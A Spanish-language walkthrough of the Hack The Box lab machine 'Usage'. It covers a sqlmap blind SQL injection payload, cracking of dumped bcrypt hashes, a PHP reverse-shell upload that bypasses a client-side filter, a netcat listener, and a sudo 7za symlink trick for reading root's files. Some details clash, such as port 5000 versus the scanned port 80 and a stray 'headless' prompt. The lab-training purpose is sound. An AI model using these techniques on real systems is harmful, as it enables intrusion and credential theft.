Descripción
Usage es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Inyección SQL en una aplicación Laravel para obtener las credenciales del panel del administrador
- Subida insegura de archivos PHP en el panel de administrador (saltándose un filtro de cliente)
- Pivote de usuario utilizando unas credenciales guardadas en un archivo de configuración
- Escalada de privilegios utilizando la aplicación de compresión 7z ejecutada como el usuario
root
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.104.234.
$ ping -c 3 10.129.104.234
PING 10.129.104.234 (10.129.104.234) 56(84) bytes of data.
64 bytes from 10.129.104.234: icmp_seq=1 ttl=63 time=56.9 ms
64 bytes from 10.129.104.234: icmp_seq=2 ttl=63 time=64.6 ms
64 bytes from 10.129.104.234: icmp_seq=3 ttl=63 time=57.2 ms
--- 10.129.104.234 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 56.932/59.584/64.585/3.537 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.104.234 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.104.234
Host is up (0.082s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.21 seconds
Obtenemos dos puertos abiertos, 22 y 5000.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.104.234 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.104.234
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.58 seconds
Conseguimos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Linux Debian. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio está hospedando un sitio web, nos redirecciona a usage.htb asi que lo añadirmos a nuestra listado /etc/hosts.
$ echo "10.129.104.234 usage.htb" | sudo tee -a /etc/hosts
El servidor web está ejecutando una aplicación Laravel en un nginx 1.18.0.
$ whatweb --log-brief web_techs usage.htb
http://usage.htb [200 OK] Bootstrap[4.1.3], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.129.104.234], Laravel, PasswordField[password], Title[Daily Blogs], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]
Podemos iniciar sesión, restablecer la contraseña, registrarse y acceder al panel de administración admin.usage.htb. Podemos añadir el subdominio a la lista de hosts.
$ echo "10.129.104.234 admin.usage.htb" | sudo tee -a /etc/hosts
Podemos crear una cuenta.
Cuando entramos tenemos acceso a un blog.
Si solicitamos una solicitud de recuperación de contraseña, se enviará un enlace a esa dirección de correo electrónico.
Si introducimos en una comilla ('), obtenemos un error de servidor (500). La aplicación puede ser vulnerable a una inyección SQL.

Explotación
Vamos a comprobar eso con la herramienta SQLMap y exportando la solicitud capturada. Vamos a comprobar una inyección SQL ciega con un nivel (5).
$ sqlmap -r password_request -p email --dbms=mysql --technique=B --level 5 --dbs
...
sqlmap identified the following injection point(s) with a total of 142 HTTP(s) requests:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: _token=jX80EPqdMqZovdY7K5ygUBCfJb8qAdl3wvMbUOTm&email=a@a.com' AND 5169=(SELECT (CASE WHEN (5169=5169) THEN 5169 ELSE (SELECT 1758 UNION SELECT 6340) END))-- -
---
...
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
La aplicación es vulnerable a una inyección SQL. Obtuvimos el nombre de la base de datos usage_blog. Tenemos que conseguir las tablas.
$ sqlmap -r password_request -p email --dbms=mysql --technique=B --level 5 -D usage_blog --tables
...
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+
...
Encontramos dos tablas que contienen datos sobre usuarios, users y admin_users. Empezamos a revisar la primera tabla.
$ sqlmap -r password_request -p email --dbms=mysql --technique=B --level 5 -D usage_blog -T users --dump
...
Database: usage_blog
Table: users
[3 entries]
+----+---------------+--------+--------------------------------------------------------------+---------------------+---------------------+----------------+-------------------+
| id | email | name | password | created_at | updated_at | remember_token | email_verified_at |
+----+---------------+--------+--------------------------------------------------------------+---------------------+---------------------+----------------+-------------------+
| 1 | raj@raj.com | raj | $2y$10$7ALmTTEYfRVd8Rnyep/ck.bSFKfXfsltPLkyQqSp/TT7X1wApJt4. | 2023-08-17 03:16:02 | 2023-08-17 03:16:02 | NULL | NULL |
| 2 | raj@usage.htb | raj | $2y$10$rbNCGxpWp1HSpO1gQX4uPO.pDg1nszoI/UhwHvfHDdfdfo9VmDJsa | 2023-08-22 08:55:16 | 2023-08-22 08:55:16 | NULL | NULL |
| 3 | htb@htb.local | HTB | $2y$10$13JxIqOwGAD.w69VIzTrUuEKImqGIqYWVJ7/5PIsisJp7f4Nn62LO | 2024-04-13 19:22:39 | 2024-04-13 19:22:39 | NULL | NULL |
+----+---------------+--------+--------------------------------------------------------------+---------------------+---------------------+----------------+-------------------+
...
Y la segunda tabla.
$ sqlmap -r password_request -p email --dbms=mysql --technique=B --level 5 -D usage_blog -T admin_users --dump
...
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name | avatar | password | username | created_at | updated_at | remember_token |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1 | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
...
Con los hashes obtenidos, podemos pasar a la aplicación John the Ripper para romperlos.
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
whatever1 (admin)
xander (raj@usage.htb)
xander (raj@raj.com)
3g 0:00:00:13 DONE 0.2210g/s 169.7p/s 466.9c/s 466.9C/s monalisa..abcdefgh
Session completed.
Obtenemos la contraseña para los usuarios raj@raj.com y raj@usage.htb de la tabla users, xander, y la contraseña para el usuario admin de la tabla admin_users, whatever1. Vamos a comprobar las credenciales del administrador en el subdominio admin.
Tenemos acceso al panel del administrador.
En la parte superior derecha de la página podemos acceder a la página Setting y podemos modificar el avatar del usuario administrador. Podemos intentar subir una terminal inversa de PHP.
Recibimos una respuesta que sólo los archivos de imagen son soportados para subir. Vamos a cambiar el nombre del archivo PHP a PNG y subirlo de nuevo, interceptando la solicitud con un proxy. Ahora, en la solicitud, cambiaremos la extensión a PHP.
Necesitamos cambiar el campo de filename.
Luego abrimos un puerto de escucha en nuestro sistema.
nc -nvlp 1234
La solicitud es exitosa y la página web hace una solicitud a la página web que subimos.
Cuando aceptemos la solicitud interceptada recibiremos una terminal inversa como el usuario dash, actualizamos la terminal.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.44] from (UNKNOWN) [10.129.104.234] 57030
Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
23:31:29 up 2 days, 9:52, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(dash) gid=1000(dash) groups=1000(dash)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
dvir@headless:~/app$ stty rows 48 columns 156; export TERM=xterm; export SHELL=bash
Post-Explotación
Aparte del usuario dash, xander y root son usuarios de consola.
dash@usage:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
dash:x:1000:1000:dash:/home/dash:/bin/bash
xander:x:1001:1001::/home/xander:/bin/bash
Enumerando los archivos encontramos una contraseña guardada en el archivo /home/dash/.monitrc.
dash@usage:/$ cd ~
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
use address 127.0.0.1
allow admin:3nc0d3d_pa$$w0rd
...
Podemos iniciar sesión con la contraseña 3nc0d3d_pa$$w0rd y el usuario xander con éxito.
dash@usage:~$ su xander
Password:
xander@usage:/home/dash$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)
Vemos que xander puede ejecutar el comando /usr/bin/usage_management como el usuario root.
xander@usage:/home/dash$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
Observamos que es un archivo binario que nos ofrece tres opciones: Project Backup, Backup MySQL data y Reset admin password. Vemos que la primera opción es ejecutar la aplicación 7z.
xander@usage:/home/dash$ file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped
xander@usage:/home/dash$ file /usr/bin/usage_management | grep zip
xander@usage:/home/dash$ /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): ^C
xander@usage:/home/dash$ strings /usr/bin/usage_management | grep zip
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Si hacemos ingeniería inversa al binario vemos que el directorio /var/www/html está siendo comprimido.
El comando /usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- * está siendo ejecutado. xander tiene permisos completos sobre el directorio /var/www/html.
xander@usage:/home/dash$ ls -la /var/www/
total 12
drwxr-xr-x 3 root root 4096 Apr 2 21:15 .
drwxr-xr-x 14 root root 4096 Apr 2 21:15 ..
drwxrwxrwx 4 root xander 4096 Apr 3 12:39 html
Podemos crear un vínculo simbólico al directorio /root en /var/www/html, los archivos que pertenezcan a root serán empaquetados en el archivo /var/backups/project.zip. Podemos hacer lo mismo con el directorio personal de dash. Finalmente desempaquetaremos el archivo para obtener la flags.
xander@usage:~$ cd /tmp
xander@usage:/tmp$ ln -s /home/dash /var/www/html/dash_dir
xander@usage:/tmp$ ln -s /root /var/www/html/root_dir
xander@usage:/tmp$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI)
Scanning the drive:
3185 folders, 18028 files, 132312029 bytes (127 MiB)
Creating archive: /var/backups/project.zip
Items to compress: 21213
Files read from disk: 18028
Archive size: 72303518 bytes (69 MiB)
Everything is Ok
xander@usage:/tmp$ mktemp -d
/tmp/tmp.5fk8IgVp9b
xander@usage:/tmp$ cd /tmp/tmp.5fk8IgVp9b
xander@usage:/tmp/tmp.5fk8IgVp9b$ 7z x /var/backups/project.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI)
Scanning the drive for archives:
1 file, 72303518 bytes (69 MiB)
Extracting archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 72303518
Everything is Ok
Folders: 3185
Files: 18028
Size: 132312029
Compressed: 72303518
xander@usage:/tmp/tmp.5fk8IgVp9b$ ls dash_dir/user.txt
root_dir/root.txt
xander@usage:/tmp/tmp.5fk8IgVp9b$ ls root_dir/root.txt
root_dir/root.txt
Flags
Ahora podemos obtener la flag de root en el subdirectorio root_dir y la flag de usuario en el subdirectorio dash_dir.
xander@usage:/tmp/tmp.5fk8IgVp9b$ cat dash_dir/user.txt
<REDACTED>
xander@usage:/tmp/tmp.5fk8IgVp9b$ cat root_dir/root.txt
<REDACTED>